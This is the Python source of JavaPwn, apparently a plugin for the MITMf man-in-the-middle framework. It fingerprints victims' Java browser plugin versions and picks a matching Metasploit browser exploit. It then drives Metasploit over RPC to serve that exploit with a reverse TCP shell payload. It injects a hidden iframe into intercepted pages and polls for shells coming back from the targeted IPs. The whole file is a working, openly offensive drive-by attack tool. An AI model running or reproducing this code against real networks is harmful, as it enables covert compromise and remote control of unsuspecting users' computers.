MITMf/plugins/JavaPwn.py

#
# Work in progress
#
from plugins.plugin import Plugin
from plugins.BrowserProfiler import BrowserProfiler
from time import sleep
import string
import random
import threading
import logging
import sys, os
import msfrpc

class JavaPwn(BrowserProfiler, Plugin):
    name = "JavaPwn"
    optname = "javapwn"
    desc = "Performs drive-by attacks on clients with out-of-date java browser plugins"
    has_opts = True

    def initialize(self, options):
        '''Called if plugin is enabled, passed the options namespace'''
        self.options = options
        self.msfip = options.msfip
        self.msfport = options.msfport
        self.rpcip = options.rpcip
        self.rpcpass = options.rpcpass

        if not self.msfip:
            sys.exit('[-] JavaPwn plugin requires --msfip')
        
        #Correlates java versions with their relative exploits
        self.javaVersionDic = {1.702: "java_atomicreferencearray",
                               1.704: "java_verifier_field_access",
                               1.706: "java_jre17_exec",
                               1.707: "java_jre17_jaxws"}
                               #add your exploits here converting the max affected java version to a float (e.g. java version 1.7.05 => 1.705)

        self.sploited_ips = [] # store ip of pwned or not vulnarable clients so we don't re-exploit

        try:
            msf = msfrpc.Msfrpc({"host" : self.rpcip}) #create an instance of msfrpc libarary
            msf.login('msf', self.rpcpass)
            version = msf.call('core.version')['version']
            print "[*] Succesfully connected to Metasploit v%s" % version
        except:
            sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server")

        #Initialize the BrowserProfiler plugin
        BrowserProfiler.initialize(self, options)

        print "[*] JavaPwn plugin online"
        t = threading.Thread(name='pwn', target=self.pwn, args=(msf,))
        t.setDaemon(True)
        t.start() #start the main thread

    def rand_url(self): #generates a random url for our exploits (urls are generated with a / at the beginning)
        return "/" + ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(5))

    def version2float(self, version): #converts clients java version string to a float so we can compare the value to self.javaVersionDic
        v = version.split(".")
        return float(v[0] + "." + "".join(v[-(len(v)-1):]))

    def injectWait(self, msfinstance, url, client_ip): #here we inject an iframe to trigger the exploit and check for resulting sessions
        #inject iframe
        logging.info("%s >> now injecting iframe to trigger exploit" % client_ip)
        self.html_payload = "<iframe src='http://%s:%s%s' height=0%% width=0%%></iframe>" % (self.msfip, self.msfport, url) #temporarily changes the code that the Browserprofiler plugin injects
                        
        logging.info('%s >> waiting for ze shells, Please wait...' % client_ip)
                        
        exit = False
        i = 1
        while i <= 30: #wait max 60 seconds for a new shell
            if exit == True:
                break
            shell = msfinstance.call('session.list') #poll metasploit every 2 seconds for new sessions
            if len(shell) > 0:
                for k,v in shell.items():
                    if client_ip in shell[k]['tunnel_peer']: #make sure the shell actually came from the ip that we targeted
                        logging.info("%s >> Got shell!" % client_ip)
                        self.sploited_ips.append(client_ip) #target successfuly exploited
                        exit = True
                        break
            sleep(2)
            i+=1
        
        if exit == False: #We didn't get a shell
            logging.info("%s >> session not established after 30 seconds" % client_ip)

        
        self.html_payload = self.get_payload() # restart the BrowserProfiler plugin

    def pwn(self, msfinstance):
        while True:
            if (len(self.dic_output) > 0) and self.dic_output['java_installed'] == '1': #only choose clients that we are 100% sure have the java plugin installed and enabled
                
                brwprofile = self.dic_output #self.dic_output is the output of the BrowserProfiler plugin in a dictionary format
                
                if brwprofile['ip'] not in self.sploited_ips: #continue only if the ip has not been already exploited

                    vic_ip = brwprofile['ip']

                    client_version = self.version2float(brwprofile['java_version']) #convert the clients java string version to a float

                    logging.info("%s >> client has java version %s installed! Proceeding..." % (vic_ip, brwprofile['java_version']))
                    logging.info("%s >> Choosing exploit based on version string" % vic_ip)

                    min_version = min(self.javaVersionDic, key=lambda x: abs(x-client_version)) #retrives the exploit with minimum distance from the clients version
                    
                    if client_version < min_version: #since the two version strings are now floats we can use the < operand
                        
                        exploit = self.javaVersionDic[min_version] #get the exploit string for that version
                        
                        logging.info("%s >> client is vulnerable to %s!" % (vic_ip, exploit))

                        msf = msfinstance
                        
                        #here we check to see if we already set up the exploit to avoid creating new jobs for no reason
                        jobs = msf.call('job.list') #get running jobs
                        if len(jobs) > 0:
                            for k,v in jobs.items():
                                info = msf.call('job.info', [k])
                                if exploit in info['name']: 
                                    logging.info('%s >> %s exploit already started' % (vic_ip, exploit))
                                    url = info['uripath'] #get the url assigned to the exploit
                                    self.injectWait(msf, url, vic_ip)
                        
                        else: #here we setup the exploit
                            rand_url = self.rand_url() # generate a random url
                            rand_port = random.randint(1000, 65535) # generate a random port for the payload listener

                        
                            #generate the command string to send to the virtual console
                            #new line character very important as it simulates a user pressing enter
                            cmd = "use exploit/multi/browser/%s\n" % exploit   
                            cmd += "set SRVPORT %s\n" % self.msfport
                            cmd += "set URIPATH %s\n" % rand_url
                            cmd += "set PAYLOAD generic/shell_reverse_tcp\n" #chose this payload because it can be upgraded to a full-meterpreter (plus its multi-platform! Yay java!)
                            cmd += "set LHOST %s\n" % self.msfip
                            cmd += "set LPORT %s\n" % rand_port
                            cmd += "exploit -j\n"
                        
                            logging.debug("command string:\n%s" % cmd)

                            try:
                                logging.info("%s >> sending commands to metasploit" % vic_ip)                 
                            
                                #Create a virtual console
                                console_id = msf.call('console.create')['id']

                                #write the cmd to the newly created console
                                msf.call('console.write', [console_id, cmd])
                            
                                logging.info("%s >> commands sent succesfully" % vic_ip)
                            except Exception, e:
                                logging.info('%s >> Error accured while interacting with metasploit: %s:%s' % (vic_ip, Exception, e))

                            self.injectWait(msf, rand_url, vic_ip)          
                    else:
                        logging.info("%s >> client is not vulnerable to any java exploit" % vic_ip)
                        self.sploited_ips.append(vic_ip)
                        sleep(0.5)
                else:
                    sleep(0.5)
            else:
                sleep(0.5)

    def add_options(self, options):
        options.add_argument('--msfip', dest='msfip', help='IP Address of MSF')
        options.add_argument('--msfport', dest='msfport', default='8080', help='Port of MSF web-server [default: 8080]')
        options.add_argument('--rpcip', dest='rpcip', default='127.0.0.1', help='IP of MSF MSGRPC server [default: localhost]')
        options.add_argument('--rpcpass', dest='rpcpass', default='abc123', help='Password for the MSF MSGRPC server [default: abc123]')

    def finish(self):
        '''This will be called when shutting down'''
        msf = msfrpc.Msfrpc({"host": self.rpcip})
        msf.login('msf', self.rpcpass)
        jobs = msf.call('job.list')
        if len(jobs) > 0:
            print '[*] Stopping all running metasploit jobs'
            for k,v in jobs.items():
                msf.call('job.stop', [k])

        consoles = msf.call('console.list')['consoles']
        if len(consoles) > 0:
            print "[*] Closing all virtual consoles"
            for b,i,p in consoles.items():
                msf.call('console.destroy', [i])